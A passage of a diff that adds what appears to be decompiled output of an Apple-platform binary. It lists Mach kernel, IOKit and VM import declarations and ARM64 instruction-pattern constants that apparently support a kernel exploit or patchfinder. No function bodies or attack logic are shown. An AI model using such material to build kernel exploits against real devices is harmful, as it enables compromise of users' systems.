thread_policy_t policy_info, mach_msg_type_number_t policy_infoCnt); +kern_return_t __cdecl thread_resume(thread_act_t target_act); +kern_return_t __cdecl thread_set_exception_ports(thread_act_t thread, exception_mask_t exception_mask, mach_port_t new_port, exception_behavior_t behavior, thread_state_flavor_t new_flavor); +kern_return_t __cdecl thread_set_state(thread_act_t target_act, thread_state_flavor_t flavor, thread_state_t new_state, mach_msg_type_number_t new_stateCnt); +kern_return_t __cdecl thread_suspend(thread_act_t target_act); +kern_return_t __cdecl thread_switch(mach_port_name_t thread_name, int option, mach_msg_timeout_t option_time); +kern_return_t __cdecl thread_terminate(thread_act_t target_act); +int __cdecl uname(utsname *); +int __cdecl unlink(const char *); +int __cdecl unmount(const char *, int); +int __cdecl usleep(useconds_t); +int __cdecl uuid_is_null(const uuid_t uu); +kern_return_t __cdecl vm_allocate(vm_map_t target_task, vm_address_t *address, vm_size_t size, int flags); +kern_return_t __cdecl vm_copy(vm_map_t target_task, vm_address_t source_address, vm_size_t size, vm_address_t dest_address); +kern_return_t __cdecl vm_deallocate(vm_map_t target_task, vm_address_t address, vm_size_t size); +kern_return_t __cdecl vm_map(vm_map_t target_task, vm_address_t *address, vm_size_t size, vm_address_t mask, int flags, mem_entry_name_port_t object, vm_offset_t offset, boolean_t copy, vm_prot_t cur_protection, vm_prot_t max_protection, vm_inherit_t inheritance); +kern_return_t __cdecl vm_protect(vm_map_t target_task, vm_address_t address, vm_size_t size, boolean_t set_maximum, vm_prot_t new_protection); +kern_return_t __cdecl vm_read_overwrite(vm_map_t target_task, vm_address_t address, vm_size_t size, vm_address_t data, vm_size_t *outsize); +kern_return_t __cdecl vm_region_64(vm_map_t target_task, vm_address_t *address, vm_size_t *size, vm_region_flavor_t flavor, vm_region_info_t info, mach_msg_type_number_t *infoCnt, mach_port_t *object_name); +kern_return_t __cdecl vm_region_recurse_64(vm_map_t target_task, vm_address_t *address, vm_size_t *size, natural_t *nesting_depth, vm_region_recurse_info_t info, mach_msg_type_number_t *infoCnt); +kern_return_t __cdecl vm_remap(vm_map_t target_task, vm_address_t *target_address, vm_size_t size, vm_address_t mask, int flags, vm_map_t src_task, vm_address_t src_address, boolean_t copy, vm_prot_t *cur_protection, vm_prot_t *max_protection, vm_inherit_t inheritance); +kern_return_t __cdecl vm_write(vm_map_t target_task, vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt); +pid_t __cdecl waitpid(pid_t, int *, int); +ssize_t __cdecl write(int __fd, const void *__buf, size_t __nbyte); +#endif +// void __cdecl _CFArrayAppendValue(CFMutableArrayRef theArray, const void *value); +// void __cdecl _CFArrayApplyFunction(CFArrayRef theArray, CFRange range, CFArrayApplierFunction applier, void *context); +// Boolean __cdecl _CFArrayContainsValue(CFArrayRef theArray, CFRange range, const void *value); +// CFIndex __cdecl _CFArrayGetCount(CFArrayRef theArray); +// CFTypeID _CFArrayGetTypeID(void); +// CFTypeID _CFBooleanGetTypeID(void); +// CFDataRef __cdecl _CFDataCreate(CFAllocatorRef allocator, const UInt8 *bytes, CFIndex length); +// CFDataRef __cdecl _CFDataCreateWithBytesNoCopy(CFAllocatorRef allocator, const UInt8 *bytes, CFIndex length, CFAllocatorRef bytesDeallocator); +// const UInt8 *__cdecl _CFDataGetBytePtr(CFDataRef theData); +// CFIndex __cdecl _CFDataGetLength(CFDataRef theData); +// CFTypeID _CFDataGetTypeID(void); +// void __cdecl _CFDictionaryAddValue(CFMutableDictionaryRef theDict, const void *key, const void *value); +// void __cdecl _CFDictionaryApplyFunction(CFDictionaryRef theDict, CFDictionaryApplierFunction applier, void *context); +// CFMutableDictionaryRef __cdecl _CFDictionaryCreateMutable(CFAllocatorRef allocator, CFIndex capacity, const CFDictionaryKeyCallBacks *keyCallBacks, const CFDictionaryValueCallBacks *valueCallBacks); +// CFMutableDictionaryRef __cdecl _CFDictionaryCreateMutableCopy(CFAllocatorRef allocator, CFIndex capacity, CFDictionaryRef theDict); +// CFTypeID _CFDictionaryGetTypeID(void); +// Boolean __cdecl _CFDictionaryGetValueIfPresent(CFDictionaryRef theDict, const void *key, const void **value); +// void __cdecl _CFDictionarySetValue(CFMutableDictionaryRef theDict, const void *key, const void *value); +// Boolean __cdecl _CFEqual(CFTypeRef cf1, CFTypeRef cf2); +// CFTypeID __cdecl _CFGetTypeID(CFTypeRef cf); +// CFNumberRef __cdecl _CFNumberCreate(CFAllocatorRef allocator, CFNumberType theType, const void *valuePtr); +// CFTypeID _CFNumberGetTypeID(void); +// Boolean __cdecl _CFNumberGetValue(CFNumberRef number, CFNumberType theType, void *valuePtr); +// CFDataRef __cdecl _CFPropertyListCreateData(CFAllocatorRef allocator, CFPropertyListRef propertyList, CFPropertyListFormat format, CFOptionFlags options, CFErrorRef *error); +// CFPropertyListRef __cdecl _CFPropertyListCreateWithData(CFAllocatorRef allocator, CFDataRef data, CFOptionFlags options, CFPropertyListFormat *format, CFErrorRef *error); +// CFPropertyListRef __cdecl _CFPropertyListCreateWithStream(CFAllocatorRef allocator, CFReadStreamRef stream, CFIndex streamLength, CFOptionFlags options, CFPropertyListFormat *format, CFErrorRef *error); +// void __cdecl _CFReadStreamClose(CFReadStreamRef stream); +// CFReadStreamRef __cdecl _CFReadStreamCreateWithBytesNoCopy(CFAllocatorRef alloc, const UInt8 *bytes, CFIndex length, CFAllocatorRef bytesDeallocator); +// Boolean __cdecl _CFReadStreamOpen(CFReadStreamRef stream); +// void __cdecl _CFRelease(CFTypeRef cf); +// void __cdecl _CFRunLoopAddSource(CFRunLoopRef rl, CFRunLoopSourceRef source, CFRunLoopMode mode); +// CFRunLoopRef _CFRunLoopGetCurrent(void); +// void __cdecl _CFRunLoopRemoveSource(CFRunLoopRef rl, CFRunLoopSourceRef source, CFRunLoopMode mode); +// CFRunLoopRunResult __cdecl _CFRunLoopRunInMode(CFRunLoopMode mode, CFTimeInterval seconds, Boolean returnAfterSourceHandled); +// CFStringRef __cdecl _CFStringCreateWithCString(CFAllocatorRef alloc, const char *cStr, CFStringEncoding encoding); +// Boolean __cdecl _CFStringGetCString(CFStringRef theString, char *buffer, CFIndex bufferSize, CFStringEncoding encoding); +// CFStringEncoding _CFStringGetSystemEncoding(void); +// CFTypeID _CFStringGetTypeID(void); +// Boolean __cdecl _CFStringHasPrefix(CFStringRef theString, CFStringRef prefix); +// __int64 __CFProcessPath(void); weak +// CFDataRef __cdecl _IOCFSerialize(CFTypeRef object, CFOptionFlags options); +// kern_return_t __cdecl _IOConnectCallMethod(mach_port_t connection, uint32_t selector, const uint64_t *input, uint32_t inputCnt, const void *inputStruct, size_t inputStructCnt, uint64_t *output, uint32_t *outputCnt, void *outputStruct, size_t *outputStructCnt); +// kern_return_t __cdecl _IOConnectCallScalarMethod(mach_port_t connection, uint32_t selector, const uint64_t *input, uint32_t inputCnt, uint64_t *output, uint32_t *outputCnt); +// kern_return_t __cdecl _IOConnectCallStructMethod(mach_port_t connection, uint32_t selector, const void *inputStruct, size_t inputStructCnt, void *outputStruct, size_t *outputStructCnt); +// kern_return_t __cdecl _IOConnectTrap4(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4); +// kern_return_t __cdecl _IOConnectTrap6(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6); +// io_object_t __cdecl _IOIteratorNext(io_iterator_t iterator); +// IONotificationPortRef __cdecl _IONotificationPortCreate(mach_port_t masterPort); +// void __cdecl _IONotificationPortDestroy(IONotificationPortRef notify); +// CFRunLoopSourceRef __cdecl _IONotificationPortGetRunLoopSource(IONotificationPortRef notify); +// kern_return_t __cdecl _IOObjectRelease(io_object_t object); +// kern_return_t __cdecl _IORegistryEntryCreateCFProperties(io_registry_entry_t entry, CFMutableDictionaryRef *properties, CFAllocatorRef allocator, IOOptionBits options); +// CFTypeRef __cdecl _IORegistryEntryCreateCFProperty(io_registry_entry_t entry, CFStringRef key, CFAllocatorRef allocator, IOOptionBits options); +// io_registry_entry_t __cdecl _IORegistryEntryFromPath(mach_port_t masterPort, const io_string_t path); +// kern_return_t __cdecl _IORegistryEntryGetChildIterator(io_registry_entry_t entry, const io_name_t plane, io_iterator_t *iterator); +// CFTypeRef __cdecl _IORegistryEntrySearchCFProperty(io_registry_entry_t entry, const io_name_t plane, CFStringRef key, CFAllocatorRef allocator, IOOptionBits options); +// kern_return_t __cdecl _IOServiceAddMatchingNotification(IONotificationPortRef notifyPort, const io_name_t notificationType, CFDictionaryRef matching, IOServiceMatchingCallback callback, void *refCon, io_iterator_t *notification); +// kern_return_t __cdecl _IOServiceClose(io_connect_t connect); +// io_service_t __cdecl _IOServiceGetMatchingService(mach_port_t masterPort, CFDictionaryRef matching); +// CFMutableDictionaryRef __cdecl _IOServiceMatching(const char *name); +// kern_return_t __cdecl _IOServiceOpen(io_service_t service, task_port_t owningTask, uint32_t type, io_connect_t *connect); +// kern_return_t __cdecl _IOServiceWaitQuiet(io_service_t service, mach_timespec_t *waitTime); +// __int64 __IOServiceSetAuthorizationID(void); weak +// int __cdecl _CC_SHA1_Final(unsigned __int8 *md, CC_SHA1_CTX *c); +// int __cdecl _CC_SHA1_Init(CC_SHA1_CTX *c); +// int __cdecl _CC_SHA1_Update(CC_SHA1_CTX *c, const void *data, CC_LONG len); +// int __cdecl _CC_SHA256_Final(unsigned __int8 *md, CC_SHA256_CTX *c); +// int __cdecl _CC_SHA256_Init(CC_SHA256_CTX *c); +// int __cdecl _CC_SHA256_Update(CC_SHA256_CTX *c, const void *data, CC_LONG len); +// int __cdecl _CC_SHA384_Final(unsigned __int8 *md, CC_SHA512_CTX *c); +// int __cdecl _CC_SHA384_Init(CC_SHA512_CTX *c); +// int __cdecl _CC_SHA384_Update(CC_SHA512_CTX *c, const void *data, CC_LONG len); +// int *___error(void); +// __int64 ___memcpy_chk(void); weak +// __int64 ___memset_chk(void); weak +// __int64 ___semwait_signal(void); weak +// __int64 ___strlcpy_chk(void); weak +// __int64 ___ulock_wait(void); weak +// __int64 ___ulock_wake(void); weak +// __int64 __get_cpu_capabilities(void); weak +// __int64 __os_alloc_once(void); weak +// void __cdecl _arc4random_buf(void *__buf, size_t __nbytes); +// void __cdecl _bzero(void *, size_t); +// void *__cdecl _calloc(size_t __count, size_t __size); +// int __cdecl _chown(const char *, uid_t, gid_t); +// int __cdecl _close(int); +// int __cdecl _connect(int, const sockaddr *, socklen_t); +// int __cdecl _dlclose(void *__handle); +// void *__cdecl _dlopen(const char *__path, int __mode); +// void *__cdecl _dlsym(void *__handle, const char *__symbol); +// int _fcntl(int, int, ...); +// int __cdecl _ffsctl(int, unsigned __int64, void *, unsigned int); +// __int64 _fileport_makefd(void); weak +// __int64 __fastcall _fileport_makeport(_QWORD, _QWORD); weak +// void __cdecl _free(void *); +// int __cdecl _fstat(int, stat *); +// int __cdecl _getattrlist(const char *, void *, void *, size_t, unsigned int); +// int __cdecl _getmntinfo(statfs **, int); +// pid_t _getpid(void); +// pid_t _getppid(void); +// uid_t _getuid(void); +// kern_return_t __cdecl _host_create_mach_voucher(host_t host, mach_voucher_attr_raw_recipe_array_t recipes, mach_msg_type_number_t recipesCnt, ipc_voucher_t *voucher); +// kern_return_t __cdecl _host_get_io_master(host_t host, io_master_t *io_master); +// kern_return_t __cdecl _host_get_special_port(host_priv_t host_priv, int node, int which, mach_port_t *port); +// kern_return_t __cdecl _host_kernel_version(host_t host, kernel_version_t kernel_version); +// kern_return_t __cdecl _host_page_size(host_t, vm_size_t *); +// kern_return_t __cdecl _host_processors(host_priv_t host_priv, processor_array_t *out_processor_list, mach_msg_type_number_t *out_processor_listCnt); +// kern_return_t __cdecl _host_security_set_task_token(host_security_t host_security, task_t target_task, security_token_t sec_token, audit_token_t *__struct_ptr audit_token, host_t host); +// int _ioctl(int, unsigned __int64, ...); +// int __cdecl _lstat(const char *, stat *); +// uint64_t _mach_absolute_time(void); +// mach_port_t _mach_host_self(void); +// kern_return_t __cdecl _mach_make_memory_entry(vm_map_t target_task, vm_size_t *size, vm_offset_t offset, vm_prot_t permission, mem_entry_name_port_t *object_handle, mem_entry_name_port_t parent_entry); +// kern_return_t __cdecl _mach_make_memory_entry_64(vm_map_t target_task, memory_object_size_t *size, memory_object_offset_t offset, vm_prot_t permission, mach_port_t *object_handle, mem_entry_name_port_t parent_entry); +// mach_msg_return_t __cdecl _mach_msg(mach_msg_header_t *msg, mach_msg_option_t option, mach_msg_size_t send_size, mach_msg_size_t rcv_size, mach_port_name_t rcv_name, mach_msg_timeout_t timeout, mach_port_name_t notify); +// void __cdecl _mach_msg_destroy(mach_msg_header_t *); +// mach_msg_return_t __cdecl _mach_msg_send(mach_msg_header_t *); +// kern_return_t __cdecl _mach_port_allocate(ipc_space_t task, mach_port_right_t right, mach_port_name_t *name); +// kern_return_t __cdecl _mach_port_deallocate(ipc_space_t task, mach_port_name_t name); +// kern_return_t __cdecl _mach_port_destroy(ipc_space_t task, mach_port_name_t name); +// kern_return_t __cdecl _mach_port_get_attributes(ipc_space_read_t task, mach_port_name_t name, mach_port_flavor_t flavor, mach_port_info_t port_info_out, mach_msg_type_number_t *port_info_outCnt); +// kern_return_t __cdecl _mach_port_insert_right(ipc_space_t task, mach_port_name_t name, mach_port_t poly, mach_msg_type_name_t polyPoly); +// kern_return_t __cdecl _mach_port_mod_refs(ipc_space_t task, mach_port_name_t name, mach_port_right_t right, mach_port_delta_t delta); +// kern_return_t __cdecl _mach_port_request_notification(ipc_space_t task, mach_port_name_t name, mach_msg_id_t msgid, mach_port_mscount_t sync, mach_port_t notify, mach_msg_type_name_t notifyPoly, mach_port_t *previous); +// kern_return_t __cdecl _mach_port_set_attributes(ipc_space_t task, mach_port_name_t name, mach_port_flavor_t flavor, mach_port_info_t port_info, mach_msg_type_number_t port_infoCnt); +// kern_return_t __cdecl _mach_port_space_info(ipc_space_read_t space, ipc_info_space_t *space_info, ipc_info_name_array_t *table_info, mach_msg_type_number_t *table_infoCnt, ipc_info_tree_name_array_t *tree_info, mach_msg_type_number_t *tree_infoCnt); +// kern_return_t __cdecl _mach_ports_register(task_t target_task, mach_port_array_t init_port_set, mach_msg_type_number_t init_port_setCnt); +// __int64 _mach_reply_port(void); weak +// mach_port_t _mach_thread_self(void); +// kern_return_t __cdecl _mach_timebase_info(mach_timebase_info_t info); +// kern_return_t __cdecl _mach_vm_allocate(vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags); +// kern_return_t __cdecl _mach_vm_deallocate(vm_map_t target, mach_vm_address_t address, mach_vm_size_t size); +// kern_return_t __cdecl _mach_vm_machine_attribute(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, vm_machine_attribute_t attribute, vm_machine_attribute_val_t *value); +// kern_return_t __cdecl _mach_vm_page_info(vm_map_read_t target_task, mach_vm_address_t address, vm_page_info_flavor_t flavor, vm_page_info_t info, mach_msg_type_number_t *infoCnt); +// kern_return_t __cdecl _mach_vm_read_overwrite(vm_map_read_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *outsize); +// kern_return_t __cdecl _mach_vm_wire(host_priv_t host_priv, vm_map_t task, mach_vm_address_t address, mach_vm_size_t size, vm_prot_t desired_access); +// kern_return_t __cdecl _mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt); +// int __cdecl _madvise(void *, size_t, int); +// void *__cdecl _malloc(size_t __size); +// int __cdecl _memcmp(const void *__s1, const void *__s2, size_t __n); +// void *__cdecl _memcpy(void *__dst, const void *__src, size_t __n); +// void __cdecl _mig_dealloc_reply_port(mach_port_t reply_port); +// mach_port_t _mig_get_reply_port(void); +// int __cdecl _mkdir(const char *, mode_t); +// char *__cdecl _mktemp(char *); +// void *__cdecl _mmap(void *, size_t, int, int, int, off_t); +// int __cdecl _mount(const char *, const char *, int, void *); +// __int64 _necp_client_action(void); weak +// __int64 _necp_open(void); weak +// int _open(const char *, int, ...); +// int _open_dprotected_np(const char *, int, int, int, ...); +// kern_return_t __cdecl _pid_for_task(mach_port_name_t t, int *x); +// int __cdecl _pipe(int[2]); +// int __cdecl _posix_spawn(pid_t *, const char *, const posix_spawn_file_actions_t *, const posix_spawnattr_t *, char *const __argv[], char *const __envp[]); +// int __cdecl _posix_spawn_file_actions_addopen(posix_spawn_file_actions_t *, int, const char *, int, mode_t); +// int __cdecl _posix_spawn_file_actions_destroy(posix_spawn_file_actions_t *); +// int __cdecl _posix_spawn_file_actions_init(posix_spawn_file_actions_t *); +// int __cdecl _posix_spawnattr_destroy(posix_spawnattr_t *); +// int __cdecl _posix_spawnattr_init(posix_spawnattr_t *); +// int __cdecl _posix_spawnattr_setflags(posix_spawnattr_t *, __int16); +// int __cdecl _posix_spawnattr_setpgroup(posix_spawnattr_t *, pid_t); +// int __cdecl _posix_spawnattr_setsigdefault(posix_spawnattr_t *, const sigset_t *); +// ssize_t __cdecl _pread(int __fd, void *__buf, size_t __nbyte, off_t __offset); +// int __cdecl _proc_pidinfo(int pid, int flavor, uint64_t arg, void *buffer, int buffersize); +// kern_return_t __cdecl _processor_set_default(host_t host, processor_set_name_t *default_set); +// kern_return_t __cdecl _processor_set_info(processor_set_name_t set_name, int flavor, host_t *host, processor_set_info_t info_out, mach_msg_type_number_t *info_outCnt); +// int __cdecl _pthread_attr_destroy(pthread_attr_t *); +// int __cdecl _pthread_attr_init(pthread_attr_t *); +// int __cdecl _pthread_attr_setdetachstate(pthread_attr_t *, int); +// int __cdecl _pthread_create(pthread_t *, const pthread_attr_t *, void *(__cdecl *)(void *), void *); +// int __cdecl _pthread_create_suspended_np(pthread_t *, const pthread_attr_t *, void *(__cdecl *)(void *), void *); +// pthread_t __cdecl _pthread_from_mach_thread_np(mach_port_t); +// int __cdecl _pthread_join(pthread_t, void **); +// mach_port_t __cdecl _pthread_mach_thread_np(pthread_t); +// int __cdecl _pthread_mutex_destroy(pthread_mutex_t *); +// int __cdecl _pthread_mutex_init(pthread_mutex_t *, const pthread_mutexattr_t *); +// int __cdecl _pthread_mutex_lock(pthread_mutex_t *); +// int __cdecl _pthread_mutex_unlock(pthread_mutex_t *); +// pthread_t _pthread_self(void); +// void __cdecl _qsort(void *__base, size_t __nel, size_t __width, int (__cdecl *__compar)(const void *, const void *)); +// ssize_t __cdecl _read(int, void *, size_t); +// void *__cdecl _realloc(void *__ptr, size_t __size); +// int __cdecl _rmdir(const char *); +// __int64 __fastcall _sandbox_check(int pid); +// int _sched_yield(void); +// kern_return_t __cdecl _semaphore_create(task_t task, semaphore_t *semaphore, int policy, int value); +// kern_return_t __cdecl _semaphore_destroy(task_t task, semaphore_t semaphore); +// kern_return_t __cdecl _semaphore_signal(semaphore_t semaphore); +// kern_return_t __cdecl _semaphore_timedwait(semaphore_t semaphore, mach_timespec_t wait_time); +// kern_return_t __cdecl _semaphore_wait(semaphore_t semaphore); +// int __cdecl _seteuid(uid_t); +// int __cdecl _setsockopt(int, int, int, const void *, socklen_t); +// int _snprintf(char *__str, size_t __size, const char *__format, ...); +// int __cdecl _socket(int, int, int); +// int _sscanf(const char *, const char *, ...); +// int __cdecl _stat(const char *, stat *); +// int __cdecl _statfs(const char *, statfs *); +// char *__cdecl _strchr(const char *__s, int __c); +// int __cdecl _strcmp(const char *__s1, const char *__s2); +// char *__cdecl _strcpy(char *__dst, const char *__src); +// char *__cdecl _strdup(const char *__s1); +// size_t __cdecl _strlcpy(char *__dst, const char *__source, size_t __size); +// size_t __cdecl _strlen(const char *__s); +// int __cdecl _strncmp(const char *__s1, const char *__s2, size_t __n); +// char *__cdecl _strsep(char **__stringp, const char *__delim); +// char *__cdecl _strstr(const char *__big, const char *__little); +// __int64 __cdecl _strtol(const char *__str, char **__endptr, int __base); +// int _syscall(int, ...); +// int __cdecl _sysctl(int *, u_int, void *, size_t *, void *, size_t); +// int __cdecl _sysctlbyname(const char *, void *, size_t *, void *, size_t); +// kern_return_t __cdecl _task_get_special_port(task_inspect_t task, int which_port, mach_port_t *special_port); +// kern_return_t __cdecl _task_info(task_name_t target_task, task_flavor_t flavor, task_info_t task_info_out, mach_msg_type_number_t *task_info_outCnt); +// kern_return_t __cdecl _task_map_corpse_info_64(task_t task, task_read_t corspe_task, mach_vm_address_t *kcd_addr_begin, mach_vm_size_t *kcd_size); +// kern_return_t __cdecl _task_resume2(task_suspension_token_t suspend_token); +// kern_return_t __cdecl _task_set_special_port(task_t task, int which_port, mach_port_t special_port); +// kern_return_t __cdecl _task_suspend2(task_t target_task, task_suspension_token_t *suspend_token); +// kern_return_t __cdecl _task_threads(task_inspect_t target_task, thread_act_array_t *act_list, mach_msg_type_number_t *act_listCnt); +// kern_return_t __cdecl _thread_create(task_t parent_task, thread_act_t *child_act); +// kern_return_t __cdecl _thread_get_state(thread_read_t target_act, thread_state_flavor_t flavor, thread_state_t old_state, mach_msg_type_number_t *old_stateCnt); +// kern_return_t __cdecl _thread_policy_set(thread_act_t thread, thread_policy_flavor_t flavor, thread_policy_t policy_info, mach_msg_type_number_t policy_infoCnt); +// kern_return_t __cdecl _thread_resume(thread_act_t target_act); +// kern_return_t __cdecl _thread_set_exception_ports(thread_act_t thread, exception_mask_t exception_mask, mach_port_t new_port, exception_behavior_t behavior, thread_state_flavor_t new_flavor); +// kern_return_t __cdecl _thread_set_state(thread_act_t target_act, thread_state_flavor_t flavor, thread_state_t new_state, mach_msg_type_number_t new_stateCnt); +// kern_return_t __cdecl _thread_suspend(thread_act_t target_act); +// kern_return_t __cdecl _thread_switch(mach_port_name_t thread_name, int option, mach_msg_timeout_t option_time); +// kern_return_t __cdecl _thread_terminate(thread_act_t target_act); +// int __cdecl _uname(utsname *); +// int __cdecl _unlink(const char *); +// int __cdecl _unmount(const char *, int); +// int __cdecl _usleep(useconds_t); +// int __cdecl _uuid_is_null(const uuid_t uu); +// kern_return_t __cdecl _vm_allocate(vm_map_t target_task, vm_address_t *address, vm_size_t size, int flags); +// kern_return_t __cdecl _vm_copy(vm_map_t target_task, vm_address_t source_address, vm_size_t size, vm_address_t dest_address); +// kern_return_t __cdecl _vm_deallocate(vm_map_t target_task, vm_address_t address, vm_size_t size); +// kern_return_t __cdecl _vm_map(vm_map_t target_task, vm_address_t *address, vm_size_t size, vm_address_t mask, int flags, mem_entry_name_port_t object, vm_offset_t offset, boolean_t copy, vm_prot_t cur_protection, vm_prot_t max_protection, vm_inherit_t inheritance); +// kern_return_t __cdecl _vm_protect(vm_map_t target_task, vm_address_t address, vm_size_t size, boolean_t set_maximum, vm_prot_t new_protection); +// kern_return_t __cdecl _vm_read_overwrite(vm_map_t target_task, vm_address_t address, vm_size_t size, vm_address_t data, vm_size_t *outsize); +// kern_return_t __cdecl _vm_region_64(vm_map_t target_task, vm_address_t *address, vm_size_t *size, vm_region_flavor_t flavor, vm_region_info_t info, mach_msg_type_number_t *infoCnt, mach_port_t *object_name); +// kern_return_t __cdecl _vm_region_recurse_64(vm_map_t target_task, vm_address_t *address, vm_size_t *size, natural_t *nesting_depth, vm_region_recurse_info_t info, mach_msg_type_number_t *infoCnt); +// kern_return_t __cdecl _vm_remap(vm_map_t target_task, vm_address_t *target_address, vm_size_t size, vm_address_t mask, int flags, vm_map_t src_task, vm_address_t src_address, boolean_t copy, vm_prot_t *cur_protection, vm_prot_t *max_protection, vm_inherit_t inheritance); +// kern_return_t __cdecl _vm_write(vm_map_t target_task, vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt); +// pid_t __cdecl _waitpid(pid_t, int *, int); +// ssize_t __cdecl _write(int __fd, const void *__buf, size_t __nbyte); +// __int64 __fastcall __chkstk_darwin(_QWORD, _QWORD); weak + +//------------------------------------------------------------------------- +// Data declarations + +int def_3E8F0 = -17958193; // weak +int dword_4 = 16777228; // weak +int dword_8 = -2147483646; // weak +section_64 stru_68 = +{ + { + '_', + '_', + 't', + 'e', + 'x', + 't', + '\0', + '\0', + '\0', + '\0', + '\0', + '\0', + '\0', + '\0', + '\0', + '\0' + }, + "__TEXT", + 24260uLL, + 242088uLL, + 24260u, + 2u, + 0u, + 0u, + 2147484672u, + 0u, + 0u, + 0u +}; // weak +char a0123456789abcd[17] = "0123456789ABCDEF"; // weak +char byte_42D30[16] = +{ + '\0', + '\0', + '\0', + '3', + '\0', + '\0', + '\0', + '\0', + '\0', + '\0', + 'B', + '\0', + '\0', + '\0', + '\0', + '\0' +}; // weak +__int128 xmmword_42D40 = 0x2C40000000000000284000LL; // weak +__int128 xmmword_42D50 = 0x2040000000000000304000LL; // weak +__int128 xmmword_42D60 = 0x7FF0000000000000000220000680LL; // weak +__int128 xmmword_42D70 = 0x100000000000000000000000040LL; // weak +__int128 xmmword_42D80 = 0x70000000000000000200000680LL; // weak +__int128 xmmword_42D90 = 0x8000000000000000000000010LL; // weak +__int128 xmmword_42DA0 = 0x7FF0000000000000000200000680LL; // weak +_UNKNOWN unk_42DC8; // weak +__int128 xmmword_42EC0 = 0x1000000010000000000000000LL; // weak +__int128 xmmword_42F00 = 0x1000027110000271000020A51LL; // weak +__int128 xmmword_42F10 = 0x1000F4241000F4240000003E8LL; // weak +__int128 xmmword_42F20 = 0x444444440000000043434343LL; // weak +__int128 xmmword_42F30 = 0xD280000F00000000D280000FLL; // weak +__int128 xmmword_42F44 = 0xFFFFFC1F00000000FFFFFFFFLL; // weak +__int128 xmmword_42F58 = 0x9AC130619AC130419262F8429AC03021LL; // weak +_UNKNOWN unk_42F68; // weak +__int128 xmmword_42F78 = 0xD280847100000000F94046E0F9000E60LL; // weak +__int128 xmmword_42F8C = 0xFFFFFFFF00000000FFFFFFFFFFFFFFFFLL; // weak +__int128 xmmword_42FA0 = 0xF9400000F9400008B9400100F9401048LL; // weak +__int128 xmmword_42FB0 = 0xFFC0001FFFC0001FFFFFFFE0FFFFFFFFLL; // weak +__int128 xmmword_42FC0 = 0xB9400000F9400000B4000000F9400000LL; // weak +__int128 xmmword_42FD0 = 0xFFC00000FFC00000FF000000FFC00000LL; // weak +__int128 xmmword_42FE0 = 0xB828680911040129B868680952800008LL; // weak +__int128 xmmword_42FF0 = 0xFFFFFC1FFFFFFFFFFFFFFC1FFFE0001FLL; // weak +__int128 xmmword_43000 = 0xB900001FB900001FF900001FLL; // weak +__int128 xmmword_43010 = 0xFFFFFC1FFFFFFC1FFFFFFC1FLL; // weak +__int128 xmmword_43020 = 0x9400000000000000B4000000F9000000LL; // weak +__int128 xmmword_43030 = 0xFC00000000000000FF00001FFFC0001FLL; // weak +__int128 xmmword_43040 = 0x3904C01FF9000010DAC10A30F2F9B431LL; // weak +__int128 xmmword_43050 = 0x200000000000000100LL; // weak +__int128 xmmword_43060 = 0xF90000009000000094000000528007C5LL; // weak +__int128 xmmword_43070 = 0xFFC0001F9F000000FC000000FFFFFFFFLL; // weak +__int128 xmmword_43080 = 0x58000001D503201F58000000D503201FLL; // weak +__int128 xmmword_43090 = 0xFF00001FFFFFFFFFFF00001FFFFFFFFFLL; // weak +__int128 xmmword_430A0 = 0xD65F03C0D5033FDFD5033F9FD508831FLL; // weak +__int128 xmmword_430B0 = 0xD50041BF0000000010000000LL; // weak +__int128 xmmword_430C0 = 0xFFFFFFFF000000009F000000LL; // weak +__int128 xmmword_430D0 = 0x0F862782100000000LL; // weak +__int128 xmmword_430E0 = 0x0FFFFFFFF00000000LL; // weak +__int128 xmmword_430F0 = 0xEB02007FCB010003910003FDA9BF7BFDLL; // weak +__int128 xmmword_43100 = 0xAA1503E2AA1403E100000000A9408388LL; // weak +__int128 xmmword_43110 = 0xFFFFFFFFFFFFFFFF00000000FFFFFFFFLL; // weak +__int128 xmmword_43120 = 0x8B20603FF94000215800000158000000LL; // weak +__int128 xmmword_43130 = 0xFFFFFFFFFFFFFFFFFF00001FFF00001FLL; // weak +__int128 xmmword_43140 = 0xFFFFFFF002004000FFFFFFF002000000LL; // weak +__int128 xmmword_43150 = 0xFFFFFFF00200C000FFFFFFF002008000LL; // weak +__int128 xmmword_43160 = 0xFFFFFFF002014000FFFFFFF002010000LL; // weak +__int128 xmmword_43170 = 0xFFFFFC1100170000FFFFFC1100160000LL; // weak +__int128 xmmword_43180 = 0xFFFFFF9100170000FFFFFF9100160000LL; // weak +__int128 xmmword_43190 = 0xFF004FF400FF0000000140198099LL; // weak +__int128 xmmword_431A0 = 0x41B0000000000000001LL; // weak +__int128 xmmword_431B0 = 0x3FA00000000000003F40LL; // weak +__int128 xmmword_431C0 = 0x3FFC0000000000003E00LL; // weak +__int128 xmmword_431D0 = 0x30000000000000000003C4LL; // weak +__int128 xmmword_431E0 = 0x30000000000000000003C5LL; // weak +__int128 xmmword_431F0 = 0x0FFFFFFFF80000000LL; // weak +__int128 xmmword_43200 = 0x10000000004000000100000001LL; // weak +__int128 xmmword_43270 = 0xFFFC00383A8700282E4A0020BAA20010LL; // weak +__int128 xmmword_43280 = 0x7F14042032E50058BE60005056350048LL; // weak +__int128 xmmword_43290 = 0x14000000D280000F14000000D280060FLL; // weak +__int128 xmmword_432A0 = 0xFC000000FFE0001FFC000000FFFFFFFFLL; // weak +__int128 xmmword_432B0 = 0x14000000D280000F14000000D28006AFLL; // weak +__int128 xmmword_432C0 = 0xD5033FDFD5087800D50343DFD53B4222LL; // weak +__int128 xmmword_432D0 = 0x1DEADDAB700010004LL; // weak +__int128 xmmword_432E0 = 0x40000000000004000LL; // weak +__int128 xmmword_432F0 = 0x1000009610000096000000960LL; // weak +__int128 xmmword_43300 = 0x1000F4241000F424000002710LL; // weak +__int128 xmmword_43350 = 0x8B284528F940000090000000D34EFD08LL; // weak +__int128 xmmword_43364 = 0xFFFFFFFFFFC000009F000000FFFFFFFFLL; // weak 